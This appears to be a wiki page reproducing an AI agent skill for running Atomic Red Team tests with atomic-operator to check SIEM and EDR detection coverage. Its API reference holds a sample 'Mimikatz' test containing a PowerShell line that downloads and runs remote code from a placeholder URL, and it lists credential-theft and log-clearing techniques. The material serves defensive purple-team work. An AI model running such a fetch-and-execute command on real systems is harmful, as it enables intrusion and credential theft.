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title: performing-threat-emulation-with-atomic-red-team skill (Anthropic-Cybersecurity-Skills)
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**What it does.** 'Executes Atomic Red Team tests for MITRE ATT&CK technique validation Part of [[skills-anthropic-cybersecurity-skills]] (mukul975/Anthropic-Cybersecurity-Skills).

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| Upstream | [mukul975/Anthropic-Cybersecurity-Skills](https://github.com/mukul975/Anthropic-Cybersecurity-Skills) |
| Skill file | [skills/performing-threat-emulation-with-atomic-red-team/SKILL.md](https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/HEAD/skills/performing-threat-emulation-with-atomic-red-team/SKILL.md) |
| License | Apache-2.0 (skill folder LICENSE) |
| Author | mukul975 |
| Fetched | 2026-09-10 |

## Install

- `npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-threat-emulation-with-atomic-red-team`, or copy the skill folder into `~/.claude/skills/performing-threat-emulation-with-atomic-red-team/`.
- Raw file: `curl -sL https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-threat-emulation-with-atomic-red-team/SKILL.md`

## SKILL.md (verbatim)

```yaml
name: performing-threat-emulation-with-atomic-red-team
description: 'Executes Atomic Red Team tests for MITRE ATT&CK technique validation
  using the atomic-operator Python framework. Loads test definitions from YAML atomics,
  runs attack simulations, and validates detection coverage. Use when testing SIEM
  detection rules, validating EDR coverage, or conducting purple team exercises.

  '
domain: cybersecurity
subdomain: threat-intelligence
tags:
- threat-emulation
- atomic-red-team
- mitre-attack
- adversary-emulation
- atomic-operator
- purple-team
version: '1.0'
author: mahipal
license: Apache-2.0
nist_ai_rmf:
- MEASURE-2.7
- MAP-5.1
- MANAGE-2.4
atlas_techniques:
- AML.T0070
- AML.T0066
- AML.T0082
d3fend_techniques:
- Executable Denylisting
- Execution Isolation
- File Metadata Consistency Validation
- Content Format Conversion
- File Content Analysis
nist_csf:
- ID.RA-01
- ID.RA-05
- DE.CM-01
- DE.AE-02
mitre_attack:
- T1591
- T1592
- T1593
- T1589
- T1685.002
```

# Performing Threat Emulation with Atomic Red Team


## When to Use

- When conducting security assessments that involve performing threat emulation with atomic red team
- When following incident response procedures for related security events
- When performing scheduled security testing or auditing activities
- When validating security controls through hands-on testing

## Prerequisites

- Familiarity with threat intelligence concepts and tools
- Access to a test or lab environment for safe execution
- Python 3.8+ with required dependencies installed
- Appropriate authorization for any testing activities

## Instructions

Use atomic-operator to execute Atomic Red Team tests and validate detection coverage
against MITRE ATT&CK techniques.

```python
from atomic_operator import AtomicOperator

operator = AtomicOperator()
# Run a specific technique test
operator.run(
    technique="T1059.001",  # PowerShell execution
    atomics_path="./atomic-red-team/atomics",
)
```

Key workflow:
1. Clone the atomic-red-team repository for test definitions
2. Select ATT&CK techniques matching your detection rules
3. Execute atomic tests using atomic-operator
4. Check SIEM/EDR for corresponding alerts
5. Document detection gaps and update rules

## Examples

```python
# Parse atomic test YAML definitions
import yaml
with open("atomics/T1059.001/T1059.001.yaml") as f:
    tests = yaml.safe_load(f)
for test in tests.get("atomic_tests", []):
    print(f"Test: {test['name']}")
    print(f"  Platforms: {test.get('supported_platforms', [])}")
```

## Other files in this skill

- [LICENSE](https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-threat-emulation-with-atomic-red-team/LICENSE)
- [references/api-reference.md](https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-threat-emulation-with-atomic-red-team/references/api-reference.md)
- [scripts/agent.py](https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-threat-emulation-with-atomic-red-team/scripts/agent.py)

## references/api-reference.md (verbatim)

# API Reference: Performing Threat Emulation with Atomic Red Team

## atomic-operator (Python)

```python
from atomic_operator import AtomicOperator

operator = AtomicOperator()
# Run specific technique
operator.run(
    technique="T1059.001",
    atomics_path="./atomic-red-team/atomics",
    test_numbers=[1],
)
# Run with custom inputs
operator.run(technique="T1059.001", input_arguments={"command": "whoami"})
```

## Atomic Test YAML Format

```yaml
attack_technique: T1059.001
display_name: "PowerShell"
atomic_tests:
  - name: "Mimikatz"
    description: "Downloads and runs mimikatz"
    supported_platforms: [windows]
    executor:
      name: powershell
      command: |
        IEX (New-Object Net.WebClient).DownloadString('#{url}')
      cleanup_command: |
        Remove-Item #{output_file}
    input_arguments:
      url:
        description: "URL to download"
        type: url
        default: "https://example.com/test"
```

## Key CLI Commands

```bash
# Clone atomics
git clone https://github.com/redcanaryco/atomic-red-team

# Install operator
pip install atomic-operator

# List tests for technique
ls atomic-red-team/atomics/T1059.001/
```

## Coverage Mapping

| Tactic | Example Techniques |
|--------|-------------------|
| Execution | T1059.001 (PowerShell), T1059.003 (cmd) |
| Persistence | T1053.005 (Scheduled Task), T1547.001 (Run Keys) |
| Defense Evasion | T1070.001 (Clear Event Logs) |
| Credential Access | T1003.001 (LSASS), T1558.003 (Kerberoasting) |

### References

- Atomic Red Team: https://github.com/redcanaryco/atomic-red-team
- atomic-operator: https://github.com/redcanaryco/atomic-operator
- ATT&CK Navigator: https://mitre-attack.github.io/attack-navigator/

Back to [[skills-anthropic-cybersecurity-skills]] or [[agent-skills]].